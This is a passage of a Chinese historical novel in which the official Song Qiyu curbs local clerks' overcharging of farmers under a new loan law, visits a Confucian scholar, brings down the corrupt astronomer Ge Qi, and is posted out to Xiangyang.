皇三子石坚和皇五子石坦年过十七,这次一并册封。前些日子,这几位皇子分别派门下来探我的口风,我只能虚言搪塞,不敢跟他们走得太近。今后,再造也要谨慎些,不可卷入夺嫡旋涡。”童道生正色说:“宣道兄长放心,我已经不是两年前那个毛躁小子了。另外,副相冯体仁一直都在向你示好,但看你态度不明,便转而笼络小弟,甚至承诺推荐我进御史台,升正六品。”宋启愚一笑说:“哦,那你怎么想?”童道生嘿嘿笑着说:“我吗,就是个糊涂蛋。有人请客全去,有人说话全听,有人拉拢全笑;让我表态装不懂,让我收礼装不敢,让我办事装年少。好在他们还没有拿我当回事,也不曾为难于我。这些日子,仔细分析那些人的言谈,我判断冯相希望扶立三皇子,王相倾向于皇长子,这两派明里暗里都在较着劲呢。”宋启愚微笑着点点头说:“再造的‘三全三装’做得不错,今后两三年你尽可以继续这么做。”宋启愚又转头问吴襄:“长白,葛奇的情况如何?”吴襄说:“调查他还挺费劲,这个人不贪财,只剽窃别人的技术。咱们原先想从贪贿和枉法方面整倒他,看来很难。不过,我发现他跟东郊玉清宫的道士关系不一般,还有一个老道常年住在他家里。我买通了一个小道士,了解到葛奇正在炼制丹药和研习占卜术。”宋启愚抚着脑袋想了想,问道:“那道人什么来历?”吴襄答道:“那道士被称为召应天师,原是玉清宫观主,早年间替人问卜吉凶无不应验。四年前,他突然将观主位传给了徒弟,自己住进了葛奇府,听凭葛奇差遣。”宋启愚说:“玉清宫是座很大的道观。按理说,一个五品官控制不了召应天师呀,这里面一定有蹊跷。这样,再造帮长白接着查葛奇,重点查玉清宫。葛奇好像是五年前当的钦天副监,查查那时候他跟玉清宫有什么瓜葛。”这时,丫鬟春姑前来禀报晚饭已备齐。宋启愚笑着站起来,招呼大家前往厅堂用餐。 十几天后,宋启愚领了皇命和内阁批文,带着部里的一批工匠及邝玄、余允文、余天锡等人离开京城,往洛阳修工坊。路过杏花营时,宋启愚望着远处丰收在望的大片农田,还有自己亲手参建正在悠悠转动的水车,充满感情地吟诵道:“夏风吹动谷连天,小米金波万里绵。赢穗压弯四尺杆,欢颜布满田垄间。”余天锡称赞了一声好诗。坐在骡车上的余允文也点头说:“今年大丰收,看来百姓的日子能好过些。但愿年年都是这样的好光景啊!”一旁的邝玄摇摇头说:“丰收不假,但谷贱伤农,穷人的日子还是不好过呀。”宋启愚扭头问道:“邝先生,你可知道我为何不是上个月而是现在去洛阳开工吗?”邝玄说:“宋大人不是因为批文没有下来吗?”宋启愚缓辔慢走,笑着摇摇头说:“我若上个月动工,洛阳的地方官必然征调当地民夫,这会耽误农时,百姓的生活会受影响。而如今等我们做完前期准备,夏收刚好结束,百姓就能享有圆满的一季。”邝玄万没想到这个年轻京官会如此顾念老百姓。他一拱手,激动地说:“我邝玄替洛阳百姓谢宋大人相顾之恩。”宋启愚急忙还礼说:“邝先生不必相谢。我深知百姓的艰辛,除了劳作还要服各种劳役,故而我家乡的寨子为了能让百姓安居乐业,每年都会向大同府上交二千余两‘免夫钱’。好在大同有不少驻军,当地官员也乐得役使他们赚取银钱。不然的话,天锡可要吃不少苦头的。” 第十二回2 三王成年 一行人晓行夜住、风餐露宿,于第三天午后到达了登封县城。宋启愚先把大伙安排在驿馆休息,然后换上便装带着余允文父子前往县衙,拜会当地的父母官。 三个人刚转过街角,就发现前面喧闹异常,在一座高大的院落门前一拉溜停着几十辆大车,路边还站着近百个挑担抬筐的农夫。两个身穿号坎的衙役站在门前粗声大气地指挥着:“张家洼的上里头交粮,轮到你们了。疙瘩店的里正去哪啦?拿着你们的簿子,先到里面找书吏老爷对账,记得让老爷开条子。”这样的场景,宋启愚并不陌生。他扭脸对余氏父子说:“原来是交皇粮。当年我还带着人到应县交过两次粮呢。”这时,从大门里踉跄着退出一个农民,这人一边举着账本一边哀求道:“老爷,我们交的可是上等粮呀,晒了半个多月,怎么会潮呢?求求老爷给我们按上等粮收吧!求求老爷了……”门里的几个衙役可不吃这一套,他们举着水火棍吆喝着,连吓唬带打地将农夫赶了出来。这个农民回到空车旁,抱着脑袋蹲在地上,呼哧呼哧地喘了半天粗气。他的伙伴纷纷围上去,有的问:“三儿,咋样呀?”有的说:“三哥,啥情况,你倒说呀。”那个被称为三儿的农民抬起了一张愁苦的脸,委屈地说:“咱村交的七十一担好粮,里面的老爷非说水分大,硬给压成了中等粮,这样一弄咱还欠着官府七八担粮呢。本想着今年收成好,交了皇粮再还了皇账,每家都能富裕些粮食,可现在这,这,这咋交代呀。”说着,那农民攥紧着拳头重重地砸在大车的板子上。余天锡听后,拉住身边一位老农,好奇地问:“这位老伯,我只知道交皇粮,什么叫还皇账呀?”那老农瞧了瞧余天锡,叹了口气说:“看小哥穿戴象是大户人家出来的,不知道俺们穷人的苦啊。去年,朝廷推行了一个什么法,哦,对了,是《青黄法》,意思是在俺们农民青黄不接的时候,由官府借给俺们一些钱,让俺们继续种地,等收了粮食再加上六分利还给官府。这是皇上借给俺们农民的账,俺们就管这叫皇账。”宋启愚有些气愤地说:“你们这儿的官府竟然收你们六分利,若借了他十两银子岂不是一年要还他十六两?”老农怯生生地说:“小哥低声些。这比那高利贷可强多了,还不用利滚利。皇帝就是英明呀!”这时,那个叫三儿的农民气哼哼地骂道:“屁,咱们辛辛苦苦种出的粮食,就这么被他们弄走了,尤其是那些皂吏们……”农民的话被站在门口的差役听到了。其中一个敞着号坎、满脸横肉的衙役挥着鞭子走过来,恶狠狠地说:“你说啥?你个没王法的东西,皮痒了不是,看我不打得你学狗叫!”说着,那恶吏就举起了鞭子。宋启愚上前一步,大吼一声:“住手。堂堂皇法岂容你等亵渎。叫你们里面管事的滚出来见我。”那恶吏被突如其来的变化吓了一跳,斜着眼睛看了看宋启愚。当看到对方衣着鲜亮,气宇不凡,尤其是充满杀气的眼神时,恶吏顿时失了威风。他强堆出一幅笑脸说:“这位爷,恕小的眼拙,您老怎样称呼?我好去回禀我们主簿大人。”余允文张口道:“这位是现任工部员外郎宋启愚大人。奉钦命前往洛阳办差的。”那皂吏并不知道员外郎是多大的官,但听了“钦命、办差”几个字就自己理解为了“钦差”。他吓白着脸,腿一软,跪下不停地磕头说:“小的该死,冒犯了大人。大人饶命,大人饶命。”余天锡在恶吏屁股上踢了一脚,说道:“谁要你的命,快去叫你们主簿出来。”那恶吏如蒙大赦,连声说着是,连滚带爬地跑进大门去了。 不大的功夫,一个身穿八品服色的官员带着几名书吏急匆匆地跑出来。他们见了宋启愚,跪倒称:“下官不知宋大人访查到此,未曾远迎,请大人恕罪。”宋启愚也没让他们起来,而是板着脸问道:“《青黄法》乃是朝廷新近颁行的善法,其中明文规定取年利四分,你们却胆敢将利息提至六分,如此盘剥百姓,本官定要参你们一个欺君害民之罪。”周围的农民一听,自己平白多付了两成利息,顿时炸了锅。一老农带头给宋启愚跪下,磕头说:“求宋大人给俺们主持公道。”其他农民也纷纷跪下哀求宋启愚。伏在地上的县主簿磕了个头说:“宋大人容禀,《青黄法》确实规定年利四分,但到了下面州县却没人敢这么执行。因为农民们不到山穷水尽是不会借钱的。为了防止放出去的钱收不回来,各地一方面要求必须有富户担保才能借钱,另一方面也会适当提高利息以防库银损失。与其他地方比起来,六分利并不算高。宋大人若不信,可到各个州县看一看,八分利甚至一倍利都是有的。”宋启愚有些吃惊,他没想到,朝廷制定更改并推行了仅仅一年半的新法竟然如此经不起实践的检验,甚至完全变成了官吏们敛财和捞取政绩的手段。宋启愚沉吟了片刻,突然厉声说道:“一帮营私贪墨的无耻小吏!你以为这样的强辩就能让你脱罪吗?你糊弄不了本官。如若是在荒年,农民还不上欠款确有可能,但在丰年,百姓完全可以支付朝廷的利息。圣上的本意是鼓励农耕,发展生产。你们却利用《青黄法》的漏洞,在丰年白得了农民两成利钱,而到了荒年,你们又可以去敲诈担保的富户偿还债务,这样一来,得便宜的永远是贪官恶吏,而承担风险的永远是老百姓。”听了宋启愚清晰有力的驳斥,县主簿头上冒出了冷汗。他磕了个头说:“大人,下官也是奉县主的令,才敢……”宋启愚担心自己六品官的身份难以立时压住当地的知县,便厉声打断了主簿的话:“住口,还轮不到你攀咬别人。你敢坏了父母官的名声,就不怕知县治你的罪吗?本官现在只问你此事如何处理?”那主簿惊惧地连连磕头说:“小的不敢,小的不敢。该怎样处理全凭大人做主。”宋启愚平和了一下心绪,说道:“本官也知道你们的难处,现命你马上回去收粮办差,只准按四分利收取农民欠款,并将前面多收款项全数退给百姓。另外,不许刻意压低粮食品质。若让本官查知你们仍有欺君害民之举,本官定然请旨正法了尔等。”那主簿磕头如捣蒜,不停地说:“多谢大人抬举,多谢大人宽纵……”宋启愚伸手搀起一个老农,又扶起那个叫三儿的农民,对大伙说:“百姓们都快起来。跟着主簿大人去交皇粮了。只要大伙努力生产,一定能过上好日子。”宋启愚又转脸对县主簿说:“还不赶快去做事。本官这就去见你们知县,若你办差得力,也许本官还会替你美言几句。”县主簿又给宋启愚磕了个头,爬将起来,对着大伙满脸堆笑地说:“父老乡亲们,兄弟刚才多有冒犯,都跟我来吧。兄弟一定遵照宋钦差交代,好好办差。”农民们对着宋启愚跪拜称谢后,欢呼雀跃地跟着主簿去了。 宋启愚又在粮仓门前停留了片刻,便叫着余氏父子继续往县衙去。余允文小声说:“宣道,看来那些小吏是把你当成钦差了。”宋启愚说:“所以,我们才更要会一会这里的知县。要知道知县的品级不一定比我低,我只能以京官和奉旨办差的名义压他一头,再吓唬他说要参奏他贪赃欺君,以此胁迫他遵守年利四分的规定。虽然,从长远看,这样做意义不大,但就目前而言,能为百姓争取到一点利益也是好的。等我再查访些地方,就将实际情况奏报朝廷。咱们必须堵住《青黄法》的漏洞,否则,过不了几年,大量农民破产,饿殍遍野的情景就会出现。我绝不能坐视这种惨况的发生。” 小暑时节,烈日如火。在完成了所有前期准备之后,宋启愚会同河南省和洛阳府的官员,征调了近千民夫,在洛河北岸破土动工,开始了建设工作。虽然工程浩大复杂,但在宋启愚等人的统筹安排和邝玄等工匠的设计监造下,仅仅两个月后,一座大型工坊便拔地而起,其中的水车设备也已进入了安装调试阶段。 这一天晚上,宋启愚把余允文叫到住所,笑呵呵地问:“余先生可知此地隐居着一位大儒?”余允文心情激动地说:“宣道说的是程熹先生,那是全天下读书人崇敬的圣人。”宋启愚起身说:“那好,余先生回去准备一下,明天随我去拜见这位大贤。” 第二天早晨,宋启愚自己骑马,命余天锡驾着马车载着余允文,在洛阳府同知绳鑫的指引下,出定鼎门往南去拜访程熹先生。宋启愚心情大好,一边提马向前,一边对绳鑫说:“绳大人,尊师是当今的圣人,宋某和余先生早想前往聆听教诲,今日有缘得见,真是三生有幸啊。在此,宋某还要多谢绳大人的费心引荐。”绳同知摆摆手,说道:“宣道大人客气了。咱们共事时间虽然不长,但宋大人为人坦荡,文章锦绣,做事亲力亲为,雷厉风行,绳某很是佩服。前些日子,与家师论及大人,家师甚为欣赏,故而绳某才敢将大人引见给家师。”余允文有些急切地说:“二位大人恕我无理。我们还是加快速度,早些去见程先生的好。绳大人请坐稳了。”余允文对前面的余天锡说:“锡儿,快些打马,去拜会圣人大驾。”余天锡答应一声,扬起鞭子,赶着马车绝尘向前。宋启愚笑着摇摇头,高喊道:“求学问道的心情,余先生比我还迫切呢。”说着,宋启愚催动坐骑追了上去。 四个人一车一骑向南行进,过了关林又折向西来到了一汪碧水近旁。绳鑫遥指水畔的一处幽静院落说道:“家师喜竹,故在这东接关林、西望龙门的兴洛湖边遍植绿竹,又建起了这座兴洛学斋。家师每日以授馆、听琴、观竹、着书为乐。现在,估计正在给学生传授课业。”余允文羡慕又恭敬地说:“真是个涤心治学的好地方啊!绳大人,不要打扰圣人,您带我们轻轻地进去,让我们也听听尊师的教化,如何?”绳鑫见宋启愚并不反对,于是让大伙在学斋前下了车马。在绳鑫的引领下,宋启愚和余允文进门过厅,又转过了一道矮墙,眼前出现了一片空场。空场一边,七八个年龄不同的学生手捧书本席地而坐,空场的另一边,一位五六十岁的老者声音洪亮地讲解道:“这段话的意思是说,君子凡事都要讲究根本。根本牢固了,要走什么道路自然就明白了。正如孝悌是仁的根本。一个讲孝悌讲仁爱的人,内心必然和顺,不喜欢抵触他人,更不会作乱,又怎么会做违背天理、扰乱纲常的事呢?”绳鑫带着宋、余二人悄悄地在空地上坐下,开始聆听程熹先生讲课。程熹先生也不理几人,继续讲道:“自盘古开天地以来,就存在一个天理,这个理是万古不变的。我们学习圣人之言,就是要读出其中的理,并严格要求自己向这个理靠近,很多时候还要克制自己的欲望,虽然有时难以忍受,但必须这样做,否则便成不了君子。”这时,有个青年学生举手问道:“老师,我母亲近日总想吃肉,昨日我拗不过便将家里的鸡杀了炖给母亲吃,我这样做对不对呢?是否应该劝我母亲克制一下呢?”程熹先生微微一笑说:“子刚的做法没错,而且是孝顺的表现。为师所说的克制,是那些过分的欲望,比如欺压别人、贪念等等。一个人有欲望是很正常的事情,只要不超出一定的范围,是不应被指责的,也不必克制。”又有学生举手问:“老师,我们村的里正见人总是笑呵呵的,说话很和气,而您却说这个人内心险恶,这是为什么呢?”程先生点点头说:“九都问的好。那个人表面上很和善但从来不做善事,征粮征役穷凶极恶,与人交易不讲诚信。他这是伪善,是装出好的外表取悦别人,而内里只是为了是满足自己的欲望,这是丧失德性的表现。”这时,一个十二三岁的少年举手问道:“老师,您讲的君子每天都要反省自己是否忠、是否信、是否讲理。这些都是自己对自己的严格要求,若一个人不愿苛责自己,又会如何呢?”程熹先生沉默了片刻,说道:“明渊,人生来就有一股向上的精神,若没了这样的意识,人就不称其为人。我们读书人,志向君子,又怎么会不讲理守理呢?”那少年接着举手问:“老师,您说的固然有理,但象晋惠帝那样的傻子皇帝就不知向上,晋朝的大臣又能如何呢?”程熹紧锁眉头,想了想,说:“明渊,天理是用来规范普通人的,而天子本就是天道中人,是不可以约束的。臣下只能尽量引导皇帝走正道,却不可以强迫皇帝,否则便会造成秩序混乱,篡权夺位,对百姓更无好处。”大家原以为那少年已被说服,可没想到,少年竟然又举手说:“老师,如果皇帝失德,国家走错了方向,读书人的引导又不起作用,那百姓岂不是万劫不复了吗?我们难道不应该有一套约束皇权的体系吗?”程熹有些生气地说:“唐明渊,你这娃娃思想总是偏激。天道轮回自有定数,不应由小民改变。千年以来,说出‘食肉糜’的皇帝也不过一位,绝大多数君子还是要以修身为根本,学习绝不能抓小放大。看来你还是没有读通《论语》,今日课后就罚你抄录圣人之言。好了,时已近午,散课。”学生们向程熹行礼后,埋怨着唐明渊不懂事,纷纷退了下去。 绳鑫抢步上前,将宋、余二人引见给了程先生。程先生也很客气,邀请众人入室欢谈,又摆下素宴,与大家共饮。直至申末,宋启愚等人才起身离座,与先生作歌而别。 当夜,宋启愚心满意足地沉沉睡去,其间还做了几个稀奇古怪的梦。四更时分,宋启愚突然惊醒。他满头大汗,不知所措。过了好一会儿,他才起身倒了一杯茶缓缓喝下。他喃喃自语道:“唐明渊,唐明渊,若有这样的纠错体系,真是天下人之福呀!”他举头望向窗外,漆黑的天河上没有一颗星斗。 第十三回1 宋宣道外放 九月初六,宋启愚回到汴京。他先到部里向尚书邱养德交办了差事,又到虞衡司处理了一些挤压事务,这才准备回府。 二夫人韩丽华带着吴襄等人早已在工部大门外等候。见丈夫出来,韩丽华赶紧从马车上下来,恭恭敬敬地施了万福,又上前搀着宋启愚说:“老爷此行辛苦了,坐车回府吧。战马让长白他们牵回去就是了。”宋启愚也确实感觉有些乏累,便冲众人拱手示意后,上车去了。在车厢里,韩丽华摸着丈夫晒黑的脸,温柔地说:“过会儿,长白和再造还有事情要跟老爷谈。老爷现在可在我怀中闭上眼睛休息片刻。”宋启愚突然一把抱住韩丽华,在她脸上用力亲了一口说:“小丫头,想我了吗?”韩丽华红着脸,指着额头和嘴唇说:“我知道老爷疼我。我也时刻惦念着老爷。亲一下不够,这里,这里都要。”宋启愚觉得妻子煞是可爱,嘿嘿笑了笑,捧着韩丽华的脑袋胡乱啃了一通。 回府之后,略作安顿,吴襄和童道生便来找宋启愚。吴襄开门见山说:“宣道,葛奇与召应天师的关系我们已经查清了。”宋启愚急迫地问:“具体说说。”童道生从怀中掏出一叠书札递给宋启愚,说道:“兄长走之后,我先去查了僧道备案和陈留县志。四十年前,兵荒马乱,一位父亲领着五岁的儿子为了活命投奔了玉清宫。这位父亲就是现在的召应天师,那个儿子就是现在的玉清宫观主自在道长。召应天师学道二十年,成了占卜显灵的活神仙,玉清宫的香火也鼎盛起来。十年前,葛奇在杞县做同知。他设计逮捕了自在道长,并给他定了重罪。其实,葛奇真正的目的是想让召应天师预测皇位继承人,他好投到新皇门下,飞黄腾达。眼看儿子受苦,召应天师自然不能不管。于是他便为葛奇占卜并写下谶语‘一大传三石,北辰入中央。若要内臣恭,横线口中藏。’这前两句明确指出继位者名字为三个石,也就是太子石磊。后两句的意思是说新皇帝只要给内宫太监都改姓白,便能驾驭自如,控制天下。葛奇阅后大喜,随即重贿支持太子的柱国将军郑黎明,做了不少龌龊事。”宋启愚默默听着,插嘴问道:“召应天师救出儿子后,为什么还要替葛奇卖命呢?”童道生接着说:“那葛奇坏就坏在阴招连出。他看了谶语,并未按约定将其焚毁,而是附上自在道长的供词封存起来,用以要挟召应天师。要知道,皇家最忌讳神道占卜、预测传位这种事,历朝历代因此被抄家灭门的人不在少数。召应天师害怕儿子和玉清宫受牵连,才不得不听任葛奇摆布。”童道生顿了一下,接着说:“后来,葛奇升任知县,又升任钦天副监,还逼着召应天师害了不少人,彻底把那老道捆绑在了自己身上。”宋启愚长出了一口气说:“若只凭借这样的传闻,恐怕还是伤不到葛奇,毕竟他很快就要接任监正,那可是三品命官啊。”吴襄接过话头说:“宣道,你放心,他上不去。召应天师已经答应出首葛奇了。”宋启愚大吃一惊,连忙问:“怎么回事?你快说。”吴襄接着说道:“先前是我自己,后来我带着宋承康和王虎昼夜监视葛奇和召应天师。这个召应天师每个月要回玉清宫两次。我们偷听了他和自在道长的谈话,这才知道他们的关系。这父子俩其实对葛奇恨之入骨。当年,葛奇对自在道长施过重刑,又污其好色杀人,使自在道长这些年背负着恶名极为痛苦。召应天师更是一直都想告发葛奇,可苦于无人相助,又害怕祸及子弟,才隐忍不发。四年前,召应天师为了撇清跟玉清宫的关系,辞去了观主之位。更重要的是,召应天师近两年感觉身体日亏,自知羽化不远,每每见到自在道长都会哭诉半晌,言语相当悲切,令人动容。”吴襄又向宋启愚挪了挪,说:“上个月,我曾蒙着面会见召应天师。起初他怕我是葛奇的人。可在我出示了掌握的证据之后,他坚定地表示要扳倒葛奇。他这几年已在葛府埋下了许多能制葛奇于死地的证物。只是,他要求见一见欲整治葛奇的官员,并要我们保证自在道长和玉清宫的安全,然后才能去大理寺首告。”宋启愚凝神想了想说:“召应天师这是要与葛奇鱼死网破了。这几天,长白再去见一次召应天师,跟他沟通好。然后,我才能出面见他。同时,再造可以在闲聊和宴饮时把葛奇的劣迹透出去,让他的政敌们弹劾他,这样葛奇很快就会倒台。”童道生点头答道:“这项工作我明后天就能做。不过,我觉得宣道兄长最好躲在幕后。因为葛奇不是一个人,他背后有一股势力。再不然,就让我去见见召应天师,这样似乎更为妥当。”宋启愚笑笑说:“再造知道护着人了,长大了。愚兄再考虑考虑吧。我们先招呼大伙用饭。这是我的洗尘酒,咱们兄弟几个好好喝几杯。” 身在宋府的几个光裕子弟推杯换盏,斟酒布菜,猜拳行令,非常开心,直到戌时方宴饮完毕。已经微醺的宋启愚由两名丫鬟搀着,脚步蹒跚地回到了房间。韩丽华先给丈夫送上醒酒茶,又打来温水,给丈夫擦脸净面,再搬来木桶,添加热水,脱掉丈夫的靴袜,帮宋启愚洗脚按摩。不知不觉间,宋启愚已经鼾声大作。韩丽华吃力地把丈夫抱上床头,拉开被褥给丈夫搭盖好。这时,门口传来春姑的声音:“夫人,夫人,工部李向波主事称有急事求见老爷。”韩丽华看了看劳累的丈夫说:“跟李主事说老爷已经睡下了,有什么事明天再来吧。”旋即,韩丽华喊住了春姑:“慢着,李主事这个时候来必然有重要事情。先请李主事到厅堂稍坐,让余先生陪一陪,我这就唤老爷起身。” 宋启愚恍惚间听闻有人呼唤,他“腾楞”一声坐起来。当知道李向波夤夜造访时,他立即下床,让韩丽华端过脸盆,用手挎着水往脸上抹了几把。然后,他抓起长袍,一边系着衣带一边匆匆往前厅去,嘴里还嘟囔着:“险些醉酒误事。” 进了堂屋,宋启愚不等余、李二人起身,拱手说道:“失礼,失礼。向波兄此来必有要事,快坐下叙话。”见李向波迟疑,宋启愚又说:“兄但讲无妨,我这里没有外人。”李向波压低声音说:“宣道,这三个月,魏郎中用了很多手段,要将咱的新奇事务部门夺到自己手里。现在,部里已然同意他的动议。今日下午,邱尚书通知我调任山东沂水知县。或许,再过些时日,朝廷关于升你做闲职的任命也会下达工部,宣道最好有所准备。”宋启愚吃惊地说:“今天邱尚书可是一点风声都没有透给我呀。”李向波又说:“那魏孝义跟邱养德沾亲,还是他最得力的部下,先前让你做事,既是为了甩包袱,也是想看看你的本事。现在见新奇事务油水这么大,他们自然不愿再托付于你。你离京旬月时,他们就利用京查的机会,向朝廷保荐了你。前几日,你在上关于洛阳工坊建成的奏本时,邱尚书又写了保举折。可他真正的目的却是想把你撵走啊。”宋启愚静静地听完,诚恳地说:“怪不得向波兄这个时候来。兄给我报信是冒了风险的,弟感激不尽。”余允文捋着胡子,眯缝着眼睛,想了想说:“可惜我们为国家搞的基础建设,最后却沦为了那些人揽权敛财的工具。宣道若继续呆在工部,恐怕会被人穿小鞋,不如请调其他部院。”宋启愚苦笑着说:“他们这些人贪图官位钱财,我确实看不上,但是,新奇事务就此夭折,却令我痛心。”李向波略一沉吟说:“宣道,咱们共事时间虽然不长,但你光明磊落、一心为公的品格和敢作敢当、沉稳干练的做派早已让我敬佩之至。这一年多来,我对大人是尽力辅佐、真心相交。如今临别,我还有一事想拜托大人。”宋启愚认真地说:“向波兄是不是想让我继续保护邝玄,并为他请功,还他清白?”李向波点头称是。宋启愚轻轻咬了咬牙,说道:“向波兄还是太温良了。那葛奇为了自己,贪污行贿、弄权害民,结党营私、剽窃他人,光人命至少害过六七条。若不扳倒这样的恶官,邝玄那样的工匠就永无出头之日,国家的生产水平也很难提高。向波兄,实不相瞒,我调查此人已非一日,现已掌握了关键证据,除掉葛奇只在旬日之内。”李向波霍然站起,说道:“有仇必报,有恩必偿,与宣道相交,真是痛快。我能为大人做些什么?”宋启愚拍着自己的额头说:“向波兄,可否容我考虑一晚,今日饮酒有些过量,明日再与你商议除掉葛奇事宜?”李向波身施一躬说:“那好,在下先告辞。从今以后,凡宣道有命,我甘愿为君驱驰。” 第二天,宋启愚先上了请求外放的奏折,又找到李向波,向他详述了葛奇的罪状,并最终议定由李向波出面会见召应天师,由宋启愚上书,参奏葛奇违法情状。 短短几天时间,有关葛奇巫蛊圣主、窃取他人研究成果、杀人害命的消息便在京城广为流传。有些御史也开始弹劾这位钦天副监。而当召应天师出首葛奇,并将大理寺的官差带到葛府,从丹房和花园中起获数件身上扎着钢针写有皇帝或皇子生辰的人偶后,葛奇谋大逆的罪名板上钉钉。原先跟葛奇关系密切的官员,为了自保,不但没人敢替葛奇辩白,还纷纷上书撇清自己并要求严惩葛奇。同泰帝在朝堂上听闻此事异常恼火。联想到自己近来总是腰酸腹痛、四肢乏力,他更加相信这是巫蛊所为。皇帝连说了三个“可恶”,随即下旨车裂葛奇,灭其三族;同时,烧死召应天师,查封玉清宫。后来,在宋启愚等人的斡旋回护下,同泰帝终于追加了旨意,赐召应天师自尽,降玉清宫为玉清观。 第十三回2 宋宣道外放 金秋十月,朝廷旌扬宋启愚办理新奇事务有功的表彰传送到了工部,一并递送而来的还有外放宋启愚为五品襄阳知州的任命状。当天,魏孝义迫不及待地来找宋启愚,要求交割新奇事务方面的业务。宋启愚也不纠缠,痛快地把早已厘清的人员名册和流水账目等全都命人搬到了魏郎中办公处。做完这些之后,宋启愚坐在椅子上,怅然若失。他叫来余允文帮着收拾私人物品,竟发现除了文房四宝、一个水杯和两筐预算文稿、图纸外自己在工部别无它物。宋启愚自释地一笑说:“余先生,看来我还算个清官呀。”这时,邝玄默默走进来,跪下说:“宋大人,您不但还了我清白,给我请了功,还为普天下的工匠开辟了一条新路,您的大恩邝某无以为报,仅能给您磕几个响头,并祝您仕途平顺,万代封侯。”说着,邝玄便躬身重重地磕起头来。宋启愚见状,赶忙上前用双手扶住邝玄,口称:“邝匠师,使不得,快起来。宋某只是尽责而已。”余允文也帮着把邝玄搀起来,说道:“亲家翁不必如此。宣道是器量极大的真豪杰。莫说是你,就是萍水相逢的陌生人有难,他也会出手相助的。”那一刻,虽然宋启愚嘴上没有再说什么,但他内心却非常感动。他沉默了片刻,开口说:“余先生,咱们……该走了!” 宋启愚正欲抬脚,忽然瞟见黄秩五静静地站在门外。他笑着说道:“是黄大人吧,怎么不进来?”黄秩五垂头进了屋说:“黄某本欲跟随大人成就一番事业,不料大人却遭人排挤外放襄阳,这工部又是死气沉沉的老样子啦!人浮于事、相互倾轧,黄某还是看不惯,恐怕今后没有我黄秩五的好日子过喽!”宋启愚拍了拍黄秩五的肩膀,说道:“黄大人,当初我答应过要保举你的。前几天,我上书朝廷希望把你调到我的麾下。今日,我也跟邱尚书谈了此事,但不知道你是否愿意随我赴襄阳?”黄秩五高兴地几乎跳起来。他差不多是喊着说道:“太好了,莫说是随大人去襄阳,就是追随到天边,我也愿意!” 宋启愚走出工部的时候,许多同僚前来为他送行,尤其是那些低级别的皂吏们。这些人为朝廷服务,其中许多人还有盘剥、敲诈百姓的恶习,但真正在乎他们的上官却少之又少。在这一年多的时间里,了解过他们的生活状态,对他们始终关怀备至的也许只有这位曾经的员外郎。 旬日之后,宋启愚办好了所有的外放手续,与其他几名官员一道向同泰帝陛辞。行过三跪九叩首大礼后,宋启愚偷眼向上观瞧。他发现同泰帝变化很大,不但身体发福,脸色潮红,而且动作和言语都莫名的亢奋。几位官员献词完毕,轮到宋启愚接受皇帝训示了。同泰帝说:“我大周朝除去京师之外,天下最富庶的地方要算‘一扬二益三荆襄’了,把你派到襄阳去,足见朝廷对你的信任。你到了地方,一定要多行善政,不得盘剥百姓,更不得贪赃枉法,否则,辜负了天恩,等待你的唯有剑而。”宋启愚磕了个头,回答说:“臣谨遵陛下教谕。还望吾皇保重龙体,以使大周国祚永昌。”同泰帝点点头说:“你的忠心朕已知晓,只要你勤勉办差,朕又怎么会吝惜高官厚禄呢?按照我朝惯例,官员接任多在春季,朕特赏尔等三个月假期。你们做官日久,也应回转家乡,看望亲族,尽些孝心,让他们享受到些许国恩。”几位官员再次磕头,感谢皇帝体恤。同泰帝摆手示意说:“好了,你们跪安,准备赴任吧。”众官员磕头谢恩后,从宣德殿退了出来。 第十三回3 宋宣道外放 在回宣德门的路上,几位官员纷纷抒发对皇帝的爱戴之情,唯有宋启愚默默跟在后面,脑中不断浮现出同泰帝那张潮红的脸。刚刚跨过玉带桥,就听侧方传来一个公鸭嗓音:“宋大人留步。”众官甩脸一瞧,惊讶之余纷纷跪倒。还有两人磕着头说:“下官给白公公请安。”宋启愚收住神思,向前观看,原来是内宫总管白晨站在桥边。宋启愚趋步向前,一躬到地,说道:“下官见过公公。”白晨也不理众人,高声说:“皇上有话问宋启愚,其他各官回避。”那些官员赶忙行礼磕头,退了下去。宋启愚恭恭敬敬地整理了官服,跪伏于地说:“臣恭聆圣谕。”白晨等众官走远,叫身后的两个小太监也退下,一手搀起宋启愚说:“恩公请起。咱家并无皇命,只为支开众人,咱们说话方便。”宋启愚压低声音说:“几个月不见,公公的气色似乎差了不少。公公要注意调养,保重身体才是。”白晨苦笑着摇摇头说:“圣上寻月前刚赏了咱家二十板子。咱家已卧床多日,听说今日恩公陛辞,才专门来见的。”宋启愚吃惊地问:“公公犯了何事要挨责罚?”白晨苦着脸说:“不说也罢。宋大人只记住一点,以后千万不能劝陛下戒色,也不能妨碍陛下问道求仙。”宋启愚一下子明白了,拱手说:“难怪陛下脸色潮红,长此以往,恐非社稷之福呀。”白晨接着说:“恩公若真想为国出力,可在各地访求名医,待皇上醒悟时,举荐给朝廷。”宋启愚施了一揖说:“宋某遵命。在京这些时日,多承公公提携照顾,宋某感激之至。”白晨笑笑说:“恩公客气,若非恩公一再拒绝,咱家已升你为四品知府甚至三品布政。不过,以恩公的大才确非久居人下之人。临别之际,咱家还有什么能替恩公做的吗?”宋启愚心里非常温暖。他郑重地二次跪倒,从怀中取出一份文扎,捧给白公公说:“宋某只求公公能为山西百姓主持公道。监军白晋弄权害民、为祸地方,使得很多百姓流离失所、家破人亡,吕梁、汾阳一带甚至激起了民变,详细情状都记录在文扎内。下官人微言轻,又将离京远行,只能求公公代为谋划,还山西人民一个太平盛世。”白晨接过文扎,赞叹道:“咱家本以为你会为自己谋些什么,没想到恩公只为劳苦百姓。好吧,扳倒白晋虽然不易,但咱家尽力而为也就是了。”白晨示意宋启愚起身,然后说:“恩公外放必定大有作为。朝廷里面恩公自可放心,若有变故,咱家会设法相告。咱们就此别过,恩公一路顺风。”宋启愚又给白晨身施一躬,退后几步,转身走向了宣德门。 回府后,宋启愚又在汴京逗留了数日,拜别了在京的上司和同年,这才带着二夫人韩丽华以及余允文、吴襄等人回山西省亲。由于童道生是现任官员,不能擅离职守,宋启愚就安排王虎留京,担任童的护卫。他还让宋承康跟随在黄秩五身边,保护其南下襄阳赴任。 第十三回4 宋宣道外放 